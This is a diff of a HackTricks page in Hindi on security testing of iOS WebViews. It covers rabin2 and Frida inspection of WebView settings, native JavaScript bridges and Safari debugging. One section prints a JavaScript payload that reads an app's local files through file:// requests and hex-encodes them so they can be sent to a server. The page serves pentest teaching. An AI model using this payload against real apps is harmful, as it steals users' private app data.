यह कमांड बाइनरी में इसके संबंधित टेक्स्ट स्ट्रिंग्स को खोजकर **UIWebView** के उदाहरणों को खोजने में मदद करता है।
|
||||||
|
|
||||||
- **WKWebView पहचान**
|
- **WKWebView पहचान**
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||||||
```
|
```
|
||||||
इसी तरह, **WKWebView** के लिए, यह कमांड उसके उपयोग की संकेतक टेक्स्ट स्ट्रिंग के लिए बाइनरी में खोज करता है।
|
इसी तरह, **WKWebView** के लिए, यह कमांड बाइनरी में टेक्स्ट स्ट्रिंग्स की खोज करता है जो इसके उपयोग का संकेत देती हैं।
|
||||||
|
|
||||||
इसके अतिरिक्त, **WKWebView** कैसे आरंभित होता है, यह पता करने के लिए निम्नलिखित कमांड को निष्पादित किया जाता है, जो इसके आरंभिकरण से संबंधित मेथड सिग्नेचर को लक्षित करता है:
|
इसके अलावा, यह जानने के लिए कि **WKWebView** कैसे प्रारंभ किया जाता है, निम्नलिखित कमांड निष्पादित किया जाता है, जो इसके प्रारंभिककरण से संबंधित विधि हस्ताक्षर को लक्षित करता है:
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||||||
```
|
```
|
||||||
#### **जावास्क्रिप्ट कॉन्फ़िगरेशन सत्यापन**
|
#### **JavaScript कॉन्फ़िगरेशन सत्यापन**
|
||||||
|
|
||||||
**WKWebView** के लिए, यह उजागर किया गया है कि जब तक आवश्यक न हो, तब तक जावास्क्रिप्ट को अक्षम करना सर्वोत्तम प्रथा है। कंपाइल किया गया बाइनरी खोजा जाता है ताकि सुनिश्चित किया जा सके कि `javaScriptEnabled` प्रॉपर्टी को `false` पर सेट किया गया है, जिससे यह सुनिश्चित हो कि जावास्क्रिप्ट अक्षम है:
|
**WKWebView** के लिए, यह बताया गया है कि जब तक आवश्यक न हो, JavaScript को बंद करना एक सर्वोत्तम प्रथा है। यह पुष्टि करने के लिए संकलित बाइनरी की खोज की जाती है कि `javaScriptEnabled` प्रॉपर्टी `false` पर सेट है, यह सुनिश्चित करते हुए कि JavaScript बंद है:
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||||||
```
|
```
|
||||||
#### **केवल सुरक्षित सामग्री सत्यापन**
|
#### **केवल सुरक्षित सामग्री सत्यापन**
|
||||||
|
|
||||||
**WKWebView** मिश्रित सामग्री समस्याओं की पहचान करने की क्षमता प्रदान करता है, **UIWebView** के विपरीत। इसे सुनिश्चित करने के लिए `hasOnlySecureContent` गुण का उपयोग किया जाता है कि सभी पृष्ठ संसाधन सुरक्षित कनेक्शन के माध्यम से लोड किए गए हैं। संकलित बाइनरी में खोज निम्नलिखित प्रकार से की जाती है:
|
**WKWebView** मिश्रित सामग्री समस्याओं की पहचान करने की क्षमता प्रदान करता है, जो **UIWebView** के विपरीत है। यह `hasOnlySecureContent` प्रॉपर्टी का उपयोग करके जांचा जाता है ताकि यह सुनिश्चित किया जा सके कि सभी पृष्ठ संसाधन सुरक्षित कनेक्शनों के माध्यम से लोड होते हैं। संकलित बाइनरी में खोज इस प्रकार की जाती है:
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||||||
```
|
```
|
||||||
### **गतिशील विश्लेषण अंतर्दृष्टि**
|
### **डायनामिक विश्लेषण अंतर्दृष्टि**
|
||||||
|
|
||||||
गतिशील विश्लेषण में हीप की जांच शामिल है WebView उदाहरणों और उनकी गुणधर्मों के लिए। इस उद्देश्य के लिए `webviews_inspector.js` नामक एक स्क्रिप्ट का उपयोग किया जाता है, जो `UIWebView`, `WKWebView`, और `SFSafariViewController` उदाहरणों को लक्षित करता है। यह पाए गए उदाहरणों के बारे में जानकारी लॉग करता है, जिसमें URL और JavaScript और सुरक्षित सामग्री से संबंधित सेटिंग्स शामिल हैं।
|
डायनामिक विश्लेषण में WebView उदाहरणों और उनकी विशेषताओं के लिए हीप का निरीक्षण करना शामिल है। इस उद्देश्य के लिए `webviews_inspector.js` नामक एक स्क्रिप्ट का उपयोग किया जाता है, जो `UIWebView`, `WKWebView`, और `SFSafariViewController` उदाहरणों को लक्षित करती है। यह पाए गए उदाहरणों के बारे में जानकारी लॉग करती है, जिसमें URLs और JavaScript और सुरक्षित सामग्री से संबंधित सेटिंग्स शामिल हैं।
|
||||||
|
|
||||||
हीप जांच को `ObjC.choose()` का उपयोग करके किया जा सकता है ताकि WebView उदाहरणों की पहचान की जा सके और `javaScriptEnabled` और `hasonlysecurecontent` गुणधर्मों की जांच की जा सके।
|
हीप निरीक्षण `ObjC.choose()` का उपयोग करके WebView उदाहरणों की पहचान करने और `javaScriptEnabled` और `hasonlysecurecontent` विशेषताओं की जांच करने के लिए किया जा सकता है।
|
||||||
|
|
||||||
{% code title="webviews_inspector.js" %}
|
{% code title="webviews_inspector.js" %}
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -121,28 +122,30 @@ console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
स्क्रिप्ट निम्नलिखित के साथ निष्पादित किया जाता है:
|
स्क्रिप्ट को इस तरह निष्पादित किया जाता है:
|
||||||
```bash
|
```bash
|
||||||
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||||||
```
|
```
|
||||||
**मुख्य परिणाम**:
|
**मुख्य परिणाम**:
|
||||||
- वेबव्यू की घटनाएं सफलतापूर्वक पता लगाई और जांची गई।
|
- WebViews के उदाहरण सफलतापूर्वक पाए और निरीक्षण किए गए।
|
||||||
- जावास्क्रिप्ट सक्षमता और सुरक्षित सामग्री सेटिंग सत्यापित की गई।
|
- JavaScript सक्षम करने और सुरक्षित सामग्री सेटिंग्स की पुष्टि की गई।
|
||||||
|
|
||||||
यह सारांश WebView कॉन्फ़िगरेशन का विश्लेषण करने के महत्वपूर्ण चरणों और आदेशों को संक्षेपित करता है, स्थिर और गतिशील दोनों दृष्टिकोणों से, जैसे जावास्क्रिप्ट सक्षमता और मिश्रित सामग्री की पहचान पर ध्यान केंद्रित करते हुए।
|
यह सारांश स्थिर और गतिशील दृष्टिकोणों के माध्यम से WebView कॉन्फ़िगरेशन का विश्लेषण करने में शामिल महत्वपूर्ण चरणों और आदेशों को संक्षेप में प्रस्तुत करता है, जो JavaScript सक्षम करने और मिश्रित सामग्री पहचान जैसी सुरक्षा सुविधाओं पर केंद्रित है।
|
||||||
|
|
||||||
## WebView प्रोटोकॉल हैंडलिंग
|
## WebView प्रोटोकॉल हैंडलिंग
|
||||||
|
|
||||||
WebView में सामग्री को हैंडल करना एक महत्वपूर्ण पहलू है, खासकर जब विभिन्न प्रोटोकॉल जैसे `http(s)://`, `file://`, और `tel://` का सामना करना हो। ये प्रोटोकॉल ऐप्स में दूरस्थ और स्थानीय सामग्री को लोड करने की संभावना प्रदान करते हैं। जब स्थानीय सामग्री लोड की जाती है, तो उपयोगकर्ताओं को फ़ाइल के नाम या पथ पर प्रभाव डालने से और सामग्री को संपादित करने से बचाने के लिए सावधानियां लेनी चाहिए।
|
WebViews में सामग्री को संभालना एक महत्वपूर्ण पहलू है, विशेष रूप से विभिन्न प्रोटोकॉल जैसे `http(s)://`, `file://`, और `tel://` के साथ काम करते समय। ये प्रोटोकॉल ऐप्स के भीतर दूरस्थ और स्थानीय सामग्री को लोड करने की अनुमति देते हैं। यह जोर दिया गया है कि जब स्थानीय सामग्री लोड की जा रही हो, तो उपयोगकर्ताओं को फ़ाइल के नाम या पथ को प्रभावित करने और सामग्री को संपादित करने से रोकने के लिए सावधानियाँ बरतनी चाहिए।
|
||||||
|
|
||||||
**WebViews** सामग्री लोड करने के लिए विभिन्न विधियाँ प्रदान करते हैं। **UIWebView** के लिए, जो अब विचारशील है, विध
|
**WebViews** सामग्री लोड करने के लिए विभिन्न विधियाँ प्रदान करते हैं। **UIWebView**, जो अब अप्रचलित है, के लिए `loadHTMLString:baseURL:` और `loadData:MIMEType:textEncodingName:baseURL:` जैसी विधियों का उपयोग किया जाता है। दूसरी ओर, **WKWebView** वेब सामग्री के लिए `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:`, और `loadRequest:` का उपयोग करता है। स्थानीय फ़ाइलों को लोड करने के लिए आमतौर पर `pathForResource:ofType:`, `URLForResource:withExtension:`, और `init(contentsOf:encoding:)` जैसी विधियों का उपयोग किया जाता है। `loadFileURL:allowingReadAccessToURL:` विधि विशेष रूप से उल्लेखनीय है क्योंकि यह WebView में एक विशिष्ट URL या निर्देशिका को लोड करने की क्षमता रखती है, यदि एक निर्देशिका निर्दिष्ट की जाती है तो संवेदनशील डेटा को उजागर कर सकती है।
|
||||||
|
|
||||||
|
इन विधियों को स्रोत कोड या संकलित बाइनरी में खोजने के लिए, निम्नलिखित जैसे आदेशों का उपयोग किया जा सकता है:
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||||||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||||||
```
|
```
|
||||||
फ़ाइल एक्सेस के संबंध में, UIWebView इसे सार्वत्रिक रूप से अनुमति देता है, जबकि WKWebView फाइल URLs से एक्सेस को प्रबंधित करने के लिए `allowFileAccessFromFileURLs` और `allowUniversalAccessFromFileURLs` सेटिंग पेश करता है, जिनमें दोनों डिफ़ॉल्ट रूप से फॉल्स होते हैं।
|
Regarding **file access**, UIWebView इसे सार्वभौमिक रूप से अनुमति देता है, जबकि WKWebView `allowFileAccessFromFileURLs` और `allowUniversalAccessFromFileURLs` सेटिंग्स को फ़ाइल URL से पहुँच प्रबंधित करने के लिए पेश करता है, जिनमें से दोनों डिफ़ॉल्ट रूप से गलत हैं।
|
||||||
|
|
||||||
एक फ्रिडा स्क्रिप्ट उदाहरण प्रदान किया गया है जो सुरक्षा सेटिंग्स के लिए **WKWebView** की जांच करने के लिए है:
|
एक Frida स्क्रिप्ट उदाहरण प्रदान किया गया है जो सुरक्षा सेटिंग्स के लिए **WKWebView** कॉन्फ़िगरेशन का निरीक्षण करता है:
|
||||||
```bash
|
```bash
|
||||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||||
onMatch: function (wk) {
|
onMatch: function (wk) {
|
||||||
|
@ -160,7 +163,7 @@ console.log('done for WKWebView!');
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
अंत में, एक जावास्क्रिप्ट पेलोड का उदाहरण जो स्थानीय फ़ाइलों को बाहर ले जाने का उद्देश्य रखता है, गलत ढंग से कॉन्फ़िगर किए गए वेबव्यूज़ के साथ जुड़ी संभावित सुरक्षा जोखिम को दर्शाता है। इस पेलोड ने फ़ाइल सामग्री को हेक्स प्रारूप में एन्कोड किया पहले उन्हें सर्वर को भेजने से पहले, WebView के कठोर सुरक्षा उपायों के महत्व को उजागर किया।
|
अंत में, स्थानीय फ़ाइलों को निकालने के लिए लक्षित एक JavaScript पेलोड का उदाहरण गलत तरीके से कॉन्फ़िगर किए गए WebViews से संबंधित संभावित सुरक्षा जोखिम को प्रदर्शित करता है। यह पेलोड फ़ाइल की सामग्री को सर्वर पर भेजने से पहले हेक्स प्रारूप में एन्कोड करता है, जो WebView कार्यान्वयन में कड़े सुरक्षा उपायों के महत्व को उजागर करता है।
|
||||||
```javascript
|
```javascript
|
||||||
String.prototype.hexEncode = function(){
|
String.prototype.hexEncode = function(){
|
||||||
var hex, i;
|
var hex, i;
|
||||||
|
@ -183,24 +186,24 @@ xhr2.send(null);
|
||||||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||||||
xhr.send(null);
|
xhr.send(null);
|
||||||
```
|
```
|
||||||
## वेबव्यूज़ के माध्यम से उजागरित नेटिव विधियाँ
|
## Native Methods Exposed Through WebViews
|
||||||
|
|
||||||
## iOS में वेबव्यू नेटिव इंटरफेस को समझना
|
## Understanding WebView Native Interfaces in iOS
|
||||||
|
|
||||||
iOS 7 के बाद, Apple ने **वेबव्यू में जावास्क्रिप्ट और नेटिव** Swift या Objective-C ऑब्जेक्ट्स के बीच संचार के लिए एपीआई प्रदान की। यह एकीकरण मुख्य रूप से दो विधियों के माध्यम से सुविधित है:
|
iOS 7 से, Apple ने **WebView में JavaScript और नेटिव** Swift या Objective-C ऑब्जेक्ट्स के बीच संचार के लिए APIs प्रदान की। यह एकीकरण मुख्य रूप से दो तरीकों के माध्यम से किया जाता है:
|
||||||
|
|
||||||
- **JSContext**: जब एक Swift या Objective-C ब्लॉक को `JSContext` में एक पहचानकर्ता के साथ लिंक किया जाता है, तो एक जावास्क्रिप्ट फ़ंक्शन स्वचालित रूप से बनाया जाता है। इससे जावास्क्रिप्ट और नेटिव कोड के बीच संचार में अविरल एकीकरण संभव होता है।
|
- **JSContext**: जब एक Swift या Objective-C ब्लॉक को `JSContext` के भीतर एक पहचानकर्ता से जोड़ा जाता है, तो एक JavaScript फ़ंक्शन स्वचालित रूप से बनाया जाता है। यह JavaScript और नेटिव कोड के बीच निर्बाध एकीकरण और संचार की अनुमति देता है।
|
||||||
- **JSExport Protocol**: `JSExport` प्रोटोकॉल को विरासत में लेकर, नेटिव गुण, उदाहरण विधियाँ, और कक्ष विधियाँ जावास्क्रिप्ट को उजागर की जा सकती हैं। इसका मतलब है कि जावास्क्रिप्ट वातावरण में किए गए किसी भी परिवर्तन को नेटिव वातावरण में प्रतिबिंबित किया जाता है, और उल्टा भी। हालांकि, इस विधि के माध्यम से अनजाने में संवेदनशील डेटा को उजागर न होने दिया जाना महत्वपूर्ण है।
|
- **JSExport Protocol**: `JSExport` प्रोटोकॉल को विरासत में लेकर, नेटिव प्रॉपर्टीज, इंस्टेंस मेथड्स, और क्लास मेथड्स को JavaScript के लिए उजागर किया जा सकता है। इसका मतलब है कि JavaScript वातावरण में किए गए किसी भी परिवर्तन को नेटिव वातावरण में दर्शाया जाता है, और इसके विपरीत। हालाँकि, यह सुनिश्चित करना आवश्यक है कि संवेदनशील डेटा इस विधि के माध्यम से अनजाने में उजागर न हो।
|
||||||
|
|
||||||
### Objective-C में `JSContext` तक पहुंचना
|
### Accessing `JSContext` in Objective-C
|
||||||
|
|
||||||
Objective-C में, `UIWebView` के लिए `JSContext` को निम्नलिखित कोड लाइन के साथ प्राप्त किया जा सकता है:
|
Objective-C में, `UIWebView` के लिए `JSContext` को निम्नलिखित कोड की पंक्ति के साथ प्राप्त किया जा सकता है:
|
||||||
```objc
|
```objc
|
||||||
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
||||||
```
|
```
|
||||||
### `WKWebView` के साथ संचार
|
### Communication with `WKWebView`
|
||||||
|
|
||||||
`WKWebView` के लिए, `JSContext` तक पहुंच सीधे उपलब्ध नहीं है। इसके बजाय, `postMessage` फ़ंक्शन के माध्यम से संदेश पारित किया जाता है, जिससे JavaScript से native संचार संभव होता है। इन संदेशों के लिए हैंडलर निम्नलिखित रूप में सेट किए जाते हैं, जिससे JavaScript native एप्लिकेशन के साथ सुरक्षित रूप से बातचीत कर सकता है:
|
`WKWebView` के लिए, `JSContext` तक सीधी पहुँच उपलब्ध नहीं है। इसके बजाय, संदेश पासिंग का उपयोग `postMessage` फ़ंक्शन के माध्यम से किया जाता है, जो JavaScript को मूल संचार की अनुमति देता है। इन संदेशों के लिए हैंडलर इस प्रकार सेट किए जाते हैं, जिससे JavaScript को सुरक्षित रूप से मूल एप्लिकेशन के साथ इंटरैक्ट करने की अनुमति मिलती है:
|
||||||
```swift
|
```swift
|
||||||
func enableJavaScriptBridge(_ enabled: Bool) {
|
func enableJavaScriptBridge(_ enabled: Bool) {
|
||||||
options_dict["javaScriptBridge"]?.value = enabled
|
options_dict["javaScriptBridge"]?.value = enabled
|
||||||
|
@ -213,9 +216,9 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### इंटरेक्शन और परीक्षण
|
### Interaction and Testing
|
||||||
|
|
||||||
JavaScript नेटिव लेयर के साथ बातचीत कर सकता है एक स्क्रिप्ट संदेश हैंडलर को परिभाषित करके। इससे वेबपेज से नेटिव फ़ंक्शन को बुलाने जैसे कार्य करने की अनुमति मिलती है:
|
JavaScript स्वदेशी परत के साथ बातचीत कर सकता है एक स्क्रिप्ट संदेश हैंडलर को परिभाषित करके। यह एक वेबपेज से स्वदेशी कार्यों को बुलाने जैसी क्रियाओं की अनुमति देता है:
|
||||||
```javascript
|
```javascript
|
||||||
function invokeNativeOperation() {
|
function invokeNativeOperation() {
|
||||||
value1 = document.getElementById("value1").value
|
value1 = document.getElementById("value1").value
|
||||||
|
@ -226,7 +229,7 @@ window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", v
|
||||||
// Alternative method for calling exposed JavaScript functions
|
// Alternative method for calling exposed JavaScript functions
|
||||||
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
||||||
```
|
```
|
||||||
एक प्राकृतिक फ़ंक्शन कॉल के परिणाम को कैप्चर और मैनिपुलेट करने के लिए, व्यक्ति HTML के भीतर कॉलबैक फ़ंक्शन को ओवरराइड कर सकता है:
|
native फ़ंक्शन कॉल के परिणाम को कैप्चर और संशोधित करने के लिए, कोई HTML के भीतर कॉलबैक फ़ंक्शन को ओवरराइड कर सकता है:
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<script>
|
<script>
|
||||||
|
@ -237,7 +240,7 @@ alert(result);
|
||||||
</script>
|
</script>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
नेटिव साइड जावास्क्रिप्ट कॉल को `JavaScriptBridgeMessageHandler` क्लास में हैंडल किया जाता है, जहाँ नंबर को गुणा करने जैसी ऑपरेशन का परिणाम प्रसंस्कृत किया जाता है और उसे जावास्क्रिप्ट के लिए प्रदर्शन या और भी परिवर्तन के लिए वापस भेजा जाता है:
|
नैटिव साइड `JavaScriptBridgeMessageHandler` क्लास में दिखाए अनुसार JavaScript कॉल को संभालता है, जहाँ संख्याओं को गुणा करने जैसी ऑपरेशनों का परिणाम प्रोसेस किया जाता है और इसे JavaScript में डिस्प्ले या आगे की मैनिपुलेशन के लिए भेजा जाता है:
|
||||||
```swift
|
```swift
|
||||||
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
||||||
// Handling "multiplyNumbers" operation
|
// Handling "multiplyNumbers" operation
|
||||||
|
@ -250,40 +253,40 @@ let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result
|
||||||
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
## iOS WebViews को डिबग करना
|
## Debugging iOS WebViews
|
||||||
|
|
||||||
(ट्यूटोरियल [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews) पर आधारित)
|
(Tutorial based on the one from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||||||
|
|
||||||
iOS WebViews के भीतर वेब सामग्री को प्रभावी ढंग से डिबग करने के लिए, Safari के डेवलपर टूल्स का एक विशेष सेटअप आवश्यक है क्योंकि `console.log()` को भेजे गए संदेश Xcode लॉग में प्रदर्शित नहीं होते। यहां एक सरल गाइड है, मुख्य चरणों और आवश्यकताओं पर जोर देते हुए:
|
iOS वेबव्यू में वेब सामग्री को प्रभावी ढंग से डिबग करने के लिए, सफारी के डेवलपर टूल्स की एक विशिष्ट सेटअप की आवश्यकता होती है क्योंकि `console.log()` को भेजे गए संदेश Xcode लॉग में प्रदर्शित नहीं होते हैं। यहाँ एक सरल मार्गदर्शिका है, जो प्रमुख चरणों और आवश्यकताओं पर जोर देती है:
|
||||||
|
|
||||||
- **iOS डिवाइस पर तैयारी**: Safari Web Inspector को अपने iOS डिवाइस पर सक्रिय किया जाना चाहिए। इसे करने के लिए **Settings > Safari > Advanced** पर जाएं, और _Web Inspector_ को सक्षम करें।
|
- **iOS डिवाइस पर तैयारी**: आपके iOS डिवाइस पर सफारी वेब इंस्पेक्टर को सक्रिय करना आवश्यक है। यह **सेटिंग्स > सफारी > उन्नत** में जाकर और _वेब इंस्पेक्टर_ को सक्षम करके किया जाता है।
|
||||||
|
|
||||||
- **macOS डिवाइस पर तैयारी**: अपने macOS डेवलपमेंट मशीन पर, आपको Safari के भीतर डेवलपर टूल्स को सक्षम करना होगा। Safari लॉन्च करें, **Safari > Preferences > Advanced** तक पहुंचें, और _Show Develop menu_ विकल्प को चुनें।
|
- **macOS डिवाइस पर तैयारी**: आपके macOS विकास मशीन पर, आपको सफारी में डेवलपर टूल्स को सक्षम करना होगा। सफारी लॉन्च करें, **सफारी > प्राथमिकताएँ > उन्नत** पर जाएँ, और _डेवलप मेनू दिखाएँ_ विकल्प का चयन करें।
|
||||||
|
|
||||||
- **कनेक्शन और डिबगिंग**: अपने iOS डिवाइस को अपने macOS कंप्यूटर से कनेक्ट करने के बाद और अपने एप्लिकेशन को लॉन्च करने के बाद, अपने macOS डिवाइस पर Safari का उपयोग करके डिबग करना चाहिए। Safari के मेनू बार में _Develop_ पर जाएं, अपने iOS डिवाइस के नाम पर होवर करें ताकि आपको वेबव्यू इंस्टेंसेस की सूची दिखाई दे, और जिस इंस्टेंस को आप जांचना चाहते हैं, उसे चुनें। इस उद्देश्य के लिए एक नया Safari Web Inspector विंडो खुलेगा।
|
- **कनेक्शन और डिबगिंग**: अपने iOS डिवाइस को अपने macOS कंप्यूटर से कनेक्ट करने और अपने एप्लिकेशन को लॉन्च करने के बाद, अपने macOS डिवाइस पर सफारी का उपयोग करके उस वेबव्यू का चयन करें जिसे आप डिबग करना चाहते हैं। सफारी के मेनू बार में _डेवलप_ पर जाएँ, अपने iOS डिवाइस के नाम पर होवर करें ताकि वेबव्यू उदाहरणों की सूची दिखाई दे, और उस उदाहरण का चयन करें जिसे आप निरीक्षण करना चाहते हैं। इस उद्देश्य के लिए एक नया सफारी वेब इंस्पेक्टर विंडो खुलेगा।
|
||||||
|
|
||||||
हालांकि, सीमाओं का ध्यान रखें:
|
हालांकि, सीमाओं के प्रति सतर्क रहें:
|
||||||
|
|
||||||
- इस तरीके से डिबगिंग करने के लिए एक macOS डिवाइस की आवश्यकता है क्योंकि यह Safari पर निर्भर है।
|
- इस विधि के साथ डिबगिंग के लिए एक macOS डिवाइस की आवश्यकता होती है क्योंकि यह सफारी पर निर्भर करता है।
|
||||||
- इस तरह के डिबगिंग के लिए केवल Xcode के माध्यम से आपके डिवाइस पर लोड की गई एप्लिकेशन में वेबव्यू को डिबग किया जा सकता है। एप्लिकेशन स्टोर या Apple Configurator के माध्यम से इंस्टॉल की गई एप्लिकेशनों में वेबव्यू को इस तरह से डिबग नहीं किया जा सकता।
|
- केवल उन एप्लिकेशनों में वेबव्यू डिबगिंग के लिए योग्य हैं जो Xcode के माध्यम से आपके डिवाइस पर लोड की गई हैं। ऐप स्टोर या एप्पल कॉन्फ़िगरेटर के माध्यम से स्थापित ऐप्स में वेबव्यू को इस तरीके से डिबग नहीं किया जा सकता है।
|
||||||
|
|
||||||
|
## References
|
||||||
## संदर्भ
|
|
||||||
|
|
||||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
||||||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||||
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो बनाने के लिए</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,82 +1,84 @@
|
||||||
# Xamarin Apps
|
# Xamarin Apps
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
